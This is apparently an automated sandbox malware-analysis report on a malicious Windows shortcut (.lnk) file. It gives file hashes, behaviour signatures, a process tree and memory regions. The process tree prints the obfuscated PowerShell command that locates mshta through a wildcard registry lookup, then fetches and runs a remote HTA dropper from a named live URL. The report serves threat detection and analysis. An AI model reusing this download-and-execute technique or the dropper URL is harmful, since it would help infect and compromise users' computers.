Analysis

  • max time kernel
    142s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/04/2024, 02:08

General

  • Target

    e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk

  • Size

    2KB

  • MD5

    82fde340f187a517e0feced1d4972363

  • SHA1

    07740ba4e30a1dbc830451a0d05130ba1af28be9

  • SHA256

    e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3

  • SHA512

    db1630813f3a6e19b9c1bfb6dbaecd3829592230635721df5e2121217bbe2ea2a7594eae7061d5d2ce2baf4bfad5687ce22fa58dba94e8e30b0d7630e872f79c

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://www.sessosesso.it/assets/aw/yt.hta

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2272
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1864
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta
        3⤵
        • Blocklisted process makes network request
        PID:5112

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hy3juc2a.o55.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1864-11-0x000001EB64920000-0x000001EB64942000-memory.dmp

    Filesize

    136KB

  • memory/1864-12-0x00007FF9BFE60000-0x00007FF9C0921000-memory.dmp

    Filesize

    10.8MB

  • memory/1864-13-0x000001EB649A0000-0x000001EB649B0000-memory.dmp

    Filesize

    64KB

  • memory/1864-14-0x000001EB649A0000-0x000001EB649B0000-memory.dmp

    Filesize

    64KB

  • memory/1864-17-0x000001EB66A20000-0x000001EB66C3C000-memory.dmp

    Filesize

    2.1MB

  • memory/1864-19-0x00007FF9BFE60000-0x00007FF9C0921000-memory.dmp

    Filesize

    10.8MB